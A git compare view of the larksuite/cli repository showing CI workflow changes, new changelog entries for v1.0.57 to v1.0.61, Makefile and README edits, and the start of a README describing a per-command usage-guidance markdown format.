mirror of
https://github.com/larksuite/cli.git
synced 2026-07-10 02:54:04 +08:00
Compare commits
64 Commits
feat/opt-i
...
feat/remot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ac2a38cd1b | ||
|
|
be0ff390d0 | ||
|
|
8f379484fd | ||
|
|
f861daba45 | ||
|
|
9144f0b5bd | ||
|
|
98f1fdc2af | ||
|
|
2f25f69606 | ||
|
|
2749ac64f4 | ||
|
|
3900974469 | ||
|
|
603b9b7b43 | ||
|
|
8f54f9e77e | ||
|
|
6c8ea37340 | ||
|
|
f837ebf64e | ||
|
|
e8bfbab4a5 | ||
|
|
3bda9e17de | ||
|
|
e753b15d84 | ||
|
|
bdffffb368 | ||
|
|
ec6fdc9b30 | ||
|
|
775ee5a501 | ||
|
|
214318aa02 | ||
|
|
6f2cddfce1 | ||
|
|
75926f9744 | ||
|
|
5c4ad52741 | ||
|
|
3fcb695698 | ||
|
|
fb042758db | ||
|
|
22108c3300 | ||
|
|
31744f8cf9 | ||
|
|
1dd0758091 | ||
|
|
4a5a669b1a | ||
|
|
ebb0b6fe73 | ||
|
|
5c0a36b2a6 | ||
|
|
21905b0ba1 | ||
|
|
602c788fd9 | ||
|
|
30b28cf17f | ||
|
|
297776ea66 | ||
|
|
5b0c3137e3 | ||
|
|
4c31323de1 | ||
|
|
8a268aa2d2 | ||
|
|
39d60cb706 | ||
|
|
d9330b7ab3 | ||
|
|
6b833257c7 | ||
|
|
ba51d4874e | ||
|
|
40a09c8957 | ||
|
|
806e8679f6 | ||
|
|
d69761e205 | ||
|
|
7346de30b1 | ||
|
|
cf93ee051c | ||
|
|
fe32a6e0a9 | ||
|
|
af9835c288 | ||
|
|
2e3073a532 | ||
|
|
1c92ed8841 | ||
|
|
644c3c77dd | ||
|
|
bd898a1d74 | ||
|
|
898e6d4b3b | ||
|
|
7df37ed715 | ||
|
|
3f9ace8af5 | ||
|
|
b3514e5519 | ||
|
|
b46e60c156 | ||
|
|
d71bab0061 | ||
|
|
d11a6e97a4 | ||
|
|
e4248d1154 | ||
|
|
cb54bea00d | ||
|
|
036e5799d3 | ||
|
|
c4106f50b2 |
49
.github/workflows/ci.yml
vendored
49
.github/workflows/ci.yml
vendored
@@ -5,6 +5,7 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
types: [opened, synchronize, reopened, edited]
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
@@ -70,6 +71,7 @@ jobs:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
@@ -87,6 +89,23 @@ jobs:
|
||||
- name: Run errs/ lint guards (lintcheck)
|
||||
run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
|
||||
|
||||
script-test:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: '22'
|
||||
- name: Run script tests
|
||||
run: make script-test
|
||||
|
||||
deterministic-gate:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
@@ -109,8 +128,28 @@ jobs:
|
||||
env:
|
||||
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
|
||||
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
|
||||
- name: Write public content metadata
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
env:
|
||||
PR_TITLE: ${{ github.event.pull_request.title }}
|
||||
PR_BODY: ${{ github.event.pull_request.body }}
|
||||
PR_BRANCH: ${{ github.head_ref }}
|
||||
run: |
|
||||
mkdir -p .tmp/quality-gate
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
import os
|
||||
|
||||
with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
|
||||
json.dump({
|
||||
"title": os.environ.get("PR_TITLE", ""),
|
||||
"body": os.environ.get("PR_BODY", ""),
|
||||
"branch": os.environ.get("PR_BRANCH", ""),
|
||||
}, f)
|
||||
f.write("\n")
|
||||
PY
|
||||
- name: Run CLI deterministic gate
|
||||
run: make quality-gate
|
||||
run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
|
||||
- name: Upload quality gate facts
|
||||
if: ${{ always() && github.event_name == 'pull_request' }}
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
@@ -220,7 +259,7 @@ jobs:
|
||||
|
||||
# ── Layer 3: E2E Gate ──────────────────────────────────────────────
|
||||
e2e-dry-run:
|
||||
needs: [unit-test, lint, deterministic-gate]
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
@@ -241,7 +280,7 @@ jobs:
|
||||
run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
|
||||
|
||||
e2e-live:
|
||||
needs: [unit-test, lint, deterministic-gate]
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
@@ -333,7 +372,7 @@ jobs:
|
||||
# ── Results Gate (single required check for branch protection) ─────
|
||||
results:
|
||||
if: ${{ always() }}
|
||||
needs: [fast-gate, unit-test, lint, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
|
||||
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Evaluate results
|
||||
@@ -345,6 +384,7 @@ jobs:
|
||||
echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
@@ -361,6 +401,7 @@ jobs:
|
||||
"${{ needs.fast-gate.result }}" \
|
||||
"${{ needs.unit-test.result }}" \
|
||||
"${{ needs.lint.result }}" \
|
||||
"${{ needs.script-test.result }}" \
|
||||
"${{ needs.deterministic-gate.result }}" \
|
||||
"${{ needs.coverage.result }}" \
|
||||
"${{ needs.deadcode.result }}" \
|
||||
|
||||
28
.github/workflows/comment-audit.yml
vendored
Normal file
28
.github/workflows/comment-audit.yml
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
name: Comment Audit
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created, edited]
|
||||
pull_request_review:
|
||||
types: [submitted, edited]
|
||||
pull_request_review_comment:
|
||||
types: [created, edited]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
public-content-comment-audit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- name: Post-publication comment audit
|
||||
run: |
|
||||
mkdir -p .tmp/comment-audit
|
||||
cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
|
||||
go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"
|
||||
107
.github/workflows/semantic-review.yml
vendored
107
.github/workflows/semantic-review.yml
vendored
@@ -47,10 +47,13 @@ jobs:
|
||||
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
|
||||
}
|
||||
let prNumber = Number(runPRs[0]?.number || 0);
|
||||
let eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventHeadSha = runPRs[0]?.head?.sha || "";
|
||||
const targetHeadSha = eventHeadSha || run.head_sha;
|
||||
const targetHeadSha = run.head_sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
|
||||
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
|
||||
}
|
||||
|
||||
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
|
||||
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
@@ -71,11 +74,11 @@ jobs:
|
||||
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
artifactError = "facts artifact head sha does not match verified PR head sha";
|
||||
factsArtifactName = "";
|
||||
} else if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
artifactError = "facts artifact base sha does not match workflow_run pull request base sha";
|
||||
factsArtifactName = "";
|
||||
} else {
|
||||
artifactBaseSha = parsedBaseSha;
|
||||
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
@@ -85,31 +88,44 @@ jobs:
|
||||
commit_sha: targetHeadSha,
|
||||
});
|
||||
const candidatePRs = associatedPRs.filter((candidate) =>
|
||||
candidate.state === "open" &&
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
);
|
||||
if (candidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${candidatePRs.length}`);
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (candidatePRs.length === 1) {
|
||||
prNumber = candidatePRs[0].number;
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const candidatePRs = await github.paginate(github.rest.pulls.list, {
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
state: "open",
|
||||
state: "all",
|
||||
per_page: 100,
|
||||
}).then((prs) => prs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
));
|
||||
if (candidatePRs.length !== 1) {
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
} else {
|
||||
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
|
||||
}
|
||||
prNumber = candidatePRs[0].number;
|
||||
}
|
||||
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
|
||||
const { data: pr } = await github.rest.pulls.get({
|
||||
@@ -118,12 +134,17 @@ jobs:
|
||||
pull_number: prNumber,
|
||||
});
|
||||
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
|
||||
if (pr.state !== "open") {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (pr.head.sha !== targetHeadSha) {
|
||||
core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
const baseSha = eventBaseSha || artifactBaseSha || pr.base.sha;
|
||||
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
|
||||
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
|
||||
core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
|
||||
@@ -255,10 +276,13 @@ jobs:
|
||||
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
|
||||
}
|
||||
let prNumber = Number(runPRs[0]?.number || 0);
|
||||
let eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventHeadSha = runPRs[0]?.head?.sha || "";
|
||||
const targetHeadSha = eventHeadSha || run.head_sha;
|
||||
const targetHeadSha = run.head_sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
|
||||
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
|
||||
}
|
||||
|
||||
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
|
||||
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
@@ -279,11 +303,11 @@ jobs:
|
||||
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
artifactError = "facts artifact head sha does not match verified PR head sha";
|
||||
factsArtifactName = "";
|
||||
} else if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
artifactError = "facts artifact base sha does not match workflow_run pull request base sha";
|
||||
factsArtifactName = "";
|
||||
} else {
|
||||
artifactBaseSha = parsedBaseSha;
|
||||
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
@@ -293,31 +317,44 @@ jobs:
|
||||
commit_sha: targetHeadSha,
|
||||
});
|
||||
const candidatePRs = associatedPRs.filter((candidate) =>
|
||||
candidate.state === "open" &&
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
);
|
||||
if (candidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${candidatePRs.length}`);
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (candidatePRs.length === 1) {
|
||||
prNumber = candidatePRs[0].number;
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const candidatePRs = await github.paginate(github.rest.pulls.list, {
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
state: "open",
|
||||
state: "all",
|
||||
per_page: 100,
|
||||
}).then((prs) => prs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
));
|
||||
if (candidatePRs.length !== 1) {
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
} else {
|
||||
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
|
||||
}
|
||||
prNumber = candidatePRs[0].number;
|
||||
}
|
||||
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
|
||||
const { data: pr } = await github.rest.pulls.get({
|
||||
@@ -326,12 +363,22 @@ jobs:
|
||||
pull_number: prNumber,
|
||||
});
|
||||
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
|
||||
if (pr.state !== "open") {
|
||||
core.notice("semantic review skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (!pr.head.repo) {
|
||||
core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (pr.head.sha !== targetHeadSha) {
|
||||
core.notice("semantic review skipped: workflow_run is stale for this PR head");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
const baseSha = eventBaseSha || artifactBaseSha || pr.base.sha;
|
||||
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
|
||||
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
|
||||
core.notice("semantic review skipped: workflow_run is stale for this PR base");
|
||||
@@ -383,6 +430,10 @@ jobs:
|
||||
repo: context.repo.repo,
|
||||
pull_number: pr,
|
||||
});
|
||||
if (pull.state !== "open") {
|
||||
core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
|
||||
return;
|
||||
}
|
||||
if (pull.head.sha !== headSha) {
|
||||
core.notice("semantic review skipped infrastructure failure check: PR head changed");
|
||||
return;
|
||||
|
||||
11
.gitignore
vendored
11
.gitignore
vendored
@@ -7,6 +7,11 @@ bin/
|
||||
# Node
|
||||
node_modules/
|
||||
|
||||
# Python (skill-bundled helper scripts)
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
@@ -46,3 +51,9 @@ app.log
|
||||
cover*.out
|
||||
|
||||
lark-env.sh
|
||||
/automations/
|
||||
|
||||
# Local-only proof artifacts and coverage reports (never committed)
|
||||
coverage.html
|
||||
tests_e2e/
|
||||
tests_skill_eval/
|
||||
|
||||
110
CHANGELOG.md
110
CHANGELOG.md
@@ -2,6 +2,111 @@
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
## [v1.0.61] - 2026-06-30
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
|
||||
- **identity**: Add `whoami` command showing effective identity (#1666)
|
||||
- **docs**: Add reference map flags (#1547)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **identity**: Correct identity diagnosis under external credential providers (#1693)
|
||||
- **cli**: Harden git credential error handling (#1676)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Guide document copy skill usage (#1673)
|
||||
- **doc**: Fix lark-doc media token examples (#1662)
|
||||
|
||||
## [v1.0.60] - 2026-06-29
|
||||
|
||||
### Features
|
||||
|
||||
- **affordance**: Per-command usage guidance system with markdown source (#1565)
|
||||
- **event**: Support VC meeting lifecycle events (#1632)
|
||||
- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
|
||||
- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
|
||||
- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
|
||||
|
||||
### Tests
|
||||
|
||||
- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Reduce public content false positives
|
||||
|
||||
## [v1.0.59] - 2026-06-26
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
|
||||
- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
|
||||
- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **docs**: Hide docs `api-version` compat flag (#1580)
|
||||
|
||||
## [v1.0.58] - 2026-06-25
|
||||
|
||||
### Features
|
||||
|
||||
- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
|
||||
- **base**: Add Base URL and title resolve shortcuts (#1338)
|
||||
- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
|
||||
- **doc**: Support `create` title option (#1536)
|
||||
- **doc**: Add `im-markdown` output format for doc fetch (#1550)
|
||||
- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
|
||||
- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
|
||||
- **task**: Add task event consumer (#1510)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **doc**: Prefix docs resource shortcuts (#1564)
|
||||
- **binding**: Skip unix mode audit on Windows (#1525)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **approval**: Sync approval skill for meta API commands (#1499)
|
||||
- **doc**: Restore lark-doc style requirements (#1579)
|
||||
- **im**: Document `chat.nickname` get/update/delete (#1378)
|
||||
- **im**: Clarify audio message opus requirement (#1271)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Add public content safeguards and reduce false positives
|
||||
|
||||
## [v1.0.57] - 2026-06-23
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: Add `+screenshot` to capture slide page images (or render a single `<slide>` XML snippet), returning the local file path instead of Base64 (#1358)
|
||||
- **base**: Support record comments (#1043)
|
||||
- **search**: Surface search API notices (#1413)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **mail**: Resolve folder/label filter once per `+triage list` call (#1512)
|
||||
- **meta**: Backfill enum value descriptions from options (#1541)
|
||||
- **cli**: Add missing CLI headers for git credential helper (#1539)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Refine rich block, path, and block ID guidance (#1508)
|
||||
- **mail**: Trim lark-mail skill context (#1527)
|
||||
- **drive**: Add permission governance workflow guidance (#1292)
|
||||
|
||||
### Build
|
||||
|
||||
- **ci**: Bind semantic review to workflow run head (#1551)
|
||||
|
||||
## [v1.0.56] - 2026-06-18
|
||||
|
||||
### Features
|
||||
@@ -1212,6 +1317,11 @@ Bundled AI agent skills for intelligent assistance:
|
||||
- Bilingual documentation (English & Chinese).
|
||||
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
|
||||
|
||||
[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
|
||||
[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
|
||||
[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
|
||||
[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
|
||||
[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
|
||||
[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
|
||||
[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55
|
||||
[v1.0.54]: https://github.com/larksuite/cli/releases/tag/v1.0.54
|
||||
|
||||
5
Makefile
5
Makefile
@@ -12,6 +12,7 @@ QUALITY_GATE_DIR ?= .tmp/quality-gate
|
||||
QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
|
||||
QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
|
||||
QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
|
||||
PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
|
||||
LDFLAGS := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
|
||||
PREFIX ?= /usr/local
|
||||
|
||||
@@ -69,7 +70,8 @@ integration-test: build
|
||||
test: vet fmt-check script-test unit-test examples-build integration-test
|
||||
|
||||
quality-gate: build
|
||||
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT))
|
||||
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
|
||||
test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
|
||||
LARKSUITE_CLI_REMOTE_META=off \
|
||||
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
|
||||
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
|
||||
@@ -89,6 +91,7 @@ quality-gate: build
|
||||
--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
|
||||
--manifest $(QUALITY_GATE_MANIFEST_OUT) \
|
||||
--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
|
||||
--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
|
||||
--facts-out $(QUALITY_GATE_FACTS_OUT)
|
||||
|
||||
install: build
|
||||
|
||||
@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
|
||||
```bash
|
||||
lark-cli calendar +agenda
|
||||
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
|
||||
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
|
||||
lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
|
||||
```
|
||||
|
||||
Run `lark-cli <service> --help` to see all shortcut commands.
|
||||
|
||||
@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式,覆盖从快速操作到完全自定义
|
||||
```bash
|
||||
lark-cli calendar +agenda
|
||||
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
|
||||
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
|
||||
lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
|
||||
```
|
||||
|
||||
运行 `lark-cli <service> --help` 查看所有快捷命令。
|
||||
|
||||
49
affordance/README.md
Normal file
49
affordance/README.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# Affordance
|
||||
|
||||
Per-command usage guidance for the CLI, authored as one markdown file per domain
|
||||
(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
|
||||
`schema` output, and read directly at runtime (lazy, cached) — there is no build
|
||||
step. Maintain these files alongside `skills/` and `shortcuts/`.
|
||||
|
||||
## Format
|
||||
|
||||
A small, fixed markdown subset; each file describes one domain:
|
||||
|
||||
# <domain> optional `> skill: <name>` applies to every command below
|
||||
## <command> the command as typed, minus `lark-cli <domain>`
|
||||
<lead paragraph> when to use this command
|
||||
### Avoid when when not to use it / which command to use instead
|
||||
### Prerequisites what you must have first (e.g. an id, and where it comes from)
|
||||
### Tips gotchas and constraints
|
||||
### Examples **description** lines, each followed by a fenced command
|
||||
### <other heading> a custom section; flows through verbatim
|
||||
|
||||
Reference another command with `[[command]]` — it renders as `command` in help.
|
||||
Under `Avoid when` it means "use that one instead"; under `Prerequisites`
|
||||
("… from [[command]]") it means "get the input there first".
|
||||
|
||||
## Example
|
||||
|
||||
## messages get
|
||||
Fetch the full content of a single message by id.
|
||||
|
||||
### Avoid when
|
||||
- Reading several at once → use [[messages batch_get]]
|
||||
|
||||
### Prerequisites
|
||||
- message_id from [[messages list]]
|
||||
|
||||
### Examples
|
||||
|
||||
**Fetch one message**
|
||||
```bash
|
||||
